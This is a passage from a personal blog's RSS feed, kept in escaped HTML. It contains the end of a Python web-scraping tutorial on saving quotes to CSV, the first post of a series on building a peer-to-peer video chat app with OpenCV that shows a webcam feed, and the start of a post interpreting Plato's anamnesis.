&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;  &apos;Eleanor Roosevelt&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;“A day without sunshine is like, you know, night.”&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;Steve Martin&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;]]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;storing-the-retrieved-data&quot;&gt;Storing the retrieved data&lt;/h3&gt;
&lt;p&gt;Once we have acquired the data, we can store it in whatever format we want; CSV file, SQL database or NoSQL database. To be strict, this step shouldn’t count as a part of the scraping process, but still, I’ll cover it briefly for the sake of completeness. I’d say the most popular way of storing scraped data is storing them as CSV spreadsheets, so I’ll show you how to do just that, very briefly. I won’t go into the details, for that you should refer to the official Python documentation. So without further ado, let’s jump into the code.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; csv&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;with&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; open&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;quotes.csv&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;w&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; csv_file:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        writer &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; csv.writer(csv_file, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;delimiter&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;,&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;        for&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; quote &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; scraped:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;            writer.writerow(quote)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As we can see, the code is pretty self-explanatory. We are creating a CSV &lt;code&gt;writer&lt;/code&gt; object from the opened &lt;em&gt;quotes.csv&lt;/em&gt; file, and then writing the quotes one by one using the &lt;code&gt;writerow&lt;/code&gt; function. As it’s evident, the &lt;code&gt;writerow&lt;/code&gt; function accepts a list as input and then writes that to the CSV as a row, pretty straightforward.&lt;/p&gt;
&lt;h3 id=&quot;conclusion-and-next-steps&quot;&gt;Conclusion and next steps&lt;/h3&gt;
&lt;p&gt;This tutorial should help you understand what scraping is basically about while learning to implement a simple scraper yourself. This kind of scraper should suffice for simple automation or small-scale data retriever. But if you want to extract large amounts of data efficiently, you should look into scraping frameworks, especially &lt;em&gt;Scrapy&lt;/em&gt;. It’ll help you write very fast, efficient scrapers using a few lines of code. Whatever framework you use, underneath that shiny surface that framework is also using these very basic scraping principles, so understanding this tutorial should help you build the foundational knowledge for your scraping adventures.&lt;/p&gt;
</content:encoded></item><item><title>Making Prattle: A Fully-fledged P2P Video Chat Application Using Python</title><link>https://sumit-ghosh.com/posts/making-prattle-p2p-video-chat-python/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/making-prattle-p2p-video-chat-python/</guid><description>Making Prattle: A Fully-fledged P2P Video Chat Application Using Python — by Sumit Ghosh.</description><pubDate>Mon, 02 Jul 2018 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;I’ve been into &lt;em&gt;OpenCV&lt;/em&gt; and multimedia processing recently. Some months ago I tried diving into &lt;em&gt;sockets&lt;/em&gt; too—made &lt;a href=&quot;https://github.com/SkullTech/PearSend&quot;&gt;this&lt;/a&gt; P2P file sender. So I’ve been thinking, why not make a full-fledged P2P video chat software, combining sockets, &lt;em&gt;OpenCV&lt;/em&gt; and sound processing using &lt;em&gt;sounddevice&lt;/em&gt;? Could be fun learning experience, and I could write about it as I learn. So that’s how I came up with the idea for this series, of which this is the first post.&lt;/p&gt;
&lt;p&gt;To make this series beginner-friendly as well as thorough, I will try to break each tutorial into comprehensive steps, and provide lots of code-samples. You can follow the development of the app &lt;a href=&quot;https://github.com/SkullTech/Prattle&quot;&gt;here&lt;/a&gt; on Github as well, the repo will contain the latest source-code of Prattle.&lt;/p&gt;
&lt;p&gt;Before diving into it, we should take some time to understand the different components of the application, and the scopes thereof. The project can be split into the following components.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Video&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Recording video from camera.&lt;/li&gt;
&lt;li&gt;Displaying video — received either from the web-cam or through the network.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Audio&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Recording audio from microphone.&lt;/li&gt;
&lt;li&gt;Playing audio received through the network.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Networking&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sending live audio and video data over sockets, as they’re being recorded.&lt;/li&gt;
&lt;li&gt;Receiving live audio and video data from the network, and playing them.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once we’ve figured out and made the individual components, the only step left would be integrating them into a complete, usable app. We have a long way to go, so let’s get started right away!&lt;/p&gt;
&lt;h2 id=&quot;displaying-live-video-feed-from-web-cam&quot;&gt;Displaying live video feed from web-cam&lt;/h2&gt;
&lt;p&gt;Let’s start by building the video components. We will be using OpenCV for this, the most popular open-source image and video processing library. Installing OpenCV with the correct python bindings may sound trivial, but surprisingly it can get very tricky, as the official way of doing it is compiling it from source! There’s an unofficial python &lt;em&gt;wheel&lt;/em&gt; of OpenCV though, so I’d suggest you take that route and avoid all the hassle.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ pip3 install opencv-python&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Important&lt;/strong&gt;. When playing with videos in OpenCV, one thing you have to keep in mind is a video is nothing but a stream of images, called frames.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let’s start with a very simple example. This function opens a small window showing the live feed from your web-cam.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; cv2 &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; cv&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; display&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    cap &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; cv.VideoCapture(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    while&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; True&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        ret, frame &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; cap.read()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        cv.imshow(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;Live Web-Cam Feed&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, frame)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;        key &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; cv.waitKey(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; key &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;27&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;81&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;113&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;]:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;            break&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    cap.release()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    cv.destroyAllWindows()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let’s break this code down line-by-line. In the first line, we import the OpenCV library. The library comes with the name &lt;em&gt;cv2&lt;/em&gt;, but we’re importing it with the name &lt;em&gt;cv&lt;/em&gt; for convenience.&lt;/p&gt;
&lt;p&gt;Then we start writing the code of the function &lt;code&gt;display&lt;/code&gt;. &lt;em&gt;Displaying&lt;/em&gt; a video involves a few steps. Firstly, to read frames from a video source, we need to create a &lt;code&gt;VideoCapture&lt;/code&gt; object. The argument to the constructor indicates which camera you want to use, in case you have multiple web-cams, for most people this argument will be 0. So, we create a VideoCapture object like this,&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;cap &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; cv.VideoCapture(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, remember that a video is nothing but a stream of frames, i.e. images. So naturally, displaying a video involves&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Extracting the individual frames of the video.&lt;/li&gt;
&lt;li&gt;Showing the frames one by one.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Crucial for this part are two functions, the &lt;code&gt;read&lt;/code&gt; function of the capture object, and the &lt;code&gt;cv.imshow&lt;/code&gt; function from the OpenCV library.&lt;/p&gt;
&lt;p&gt;As evident from the name, the &lt;code&gt;read&lt;/code&gt; function of a &lt;code&gt;VideoCapture&lt;/code&gt; object gives us a frame of the video stream. In case of a web-cam feed, it returns the frame captured from the webcam at the moment the function is called. And then by passing this frame to &lt;code&gt;cv.imshow&lt;/code&gt; function, we display it on our screen! So the no-frills code for this part would be —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;while&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; True&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    ret, frame &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; cap.read()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    cv.imshow(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;Live Web-Cam Feed&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, frame)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here as you can see, the &lt;code&gt;cap.read&lt;/code&gt; function returns something else along with the frame, which I’m putting into the &lt;code&gt;ret&lt;/code&gt; variable. It’s a boolean value, indicating whether the &lt;em&gt;read&lt;/em&gt; operation was succesfull or not. Also, the &lt;code&gt;cv.imshow&lt;/code&gt; function takes the title of the window to be shown as its first argument, and the image to be shown as its second argument.&lt;/p&gt;
&lt;p&gt;We have put the two lines inside a &lt;em&gt;while&lt;/em&gt; loop as we want to repeat these steps in rapid succession, resulting in a continuous video stream.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A hint for the upcoming content, the first step in this loop—extracting a frame from a video stream—can be replaced by any other method, such as receiving it over the network. All the &lt;code&gt;cv.imshow&lt;/code&gt; function cares about is getting the frame, however you can manage to get it. We are going to utilize this when we send and receive video over the network.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now you may be getting curious about this part of the code —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;while&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; True&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    key &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; cv.waitKey(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; key &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;27&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;81&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;113&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;]:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;        break&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is an important part as it would let us get out of the &lt;em&gt;while&lt;/em&gt; loop, and thus, exit the program gracefully. The &lt;code&gt;cv.waitKey&lt;/code&gt; function waites for a key press event, and returns the &lt;code&gt;ASCII&lt;/code&gt; value of the key pressed. Then we check if that corresponds to any of the keys — &lt;code&gt;q&lt;/code&gt;, &lt;code&gt;Q&lt;/code&gt; or &lt;code&gt;ESC&lt;/code&gt;. If it is, we break out of the loop.&lt;/p&gt;
&lt;p&gt;The final lines of the code does the clean-up work.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python3&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;cap.release()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;cv.destroyAllWindows()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To run the function, complete the script by adding the last two lines, and save it as &lt;code&gt;video.py&lt;/code&gt; —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; cv2 &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; cv&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; display&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; __name__&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;__main__&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;	display()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And then on running it, you’ll see a window showing video-feed from your webcam, which you can close by pressing &lt;code&gt;Q&lt;/code&gt; or &lt;code&gt;ESC&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ python3 display.py&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/making-prattle-Screenshot-from-2018-07-03-18-12-30.png&quot; alt=&quot;Live web-cam feed using OpenCV&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I won’t delve much deeper in this post, I’d like some feedback from the readers on the format and content of it before I start writing the rest of the series extensively. So please leave your feedback, and any questions if you have, down below in the comments, or in this &lt;em&gt;Reddit&lt;/em&gt; thread. Cheers!&lt;/p&gt;
</content:encoded></item><item><title>An Interpretation of Anamnesis</title><link>https://sumit-ghosh.com/posts/an-interpretation-of-anamnesis/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/an-interpretation-of-anamnesis/</guid><description>An Interpretation of Anamnesis — by Sumit Ghosh.</description><pubDate>Fri, 22 Jun 2018 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Plato argues in his dialogue &lt;em&gt;Meno&lt;/em&gt; that the human soul possesses all knowledge from eternity, and &lt;em&gt;learning&lt;/em&gt; just consists of us &lt;em&gt;remembering&lt;/em&gt; those knowledge within us. This Platonic concept of knowledge is known as &lt;em&gt;Anamnesis&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Now, this all may sound some bunch of hogwash, but I’m going to offer an interpretation of this concept which may turn out to be insightful for you—the readers, hopefully.&lt;/p&gt;
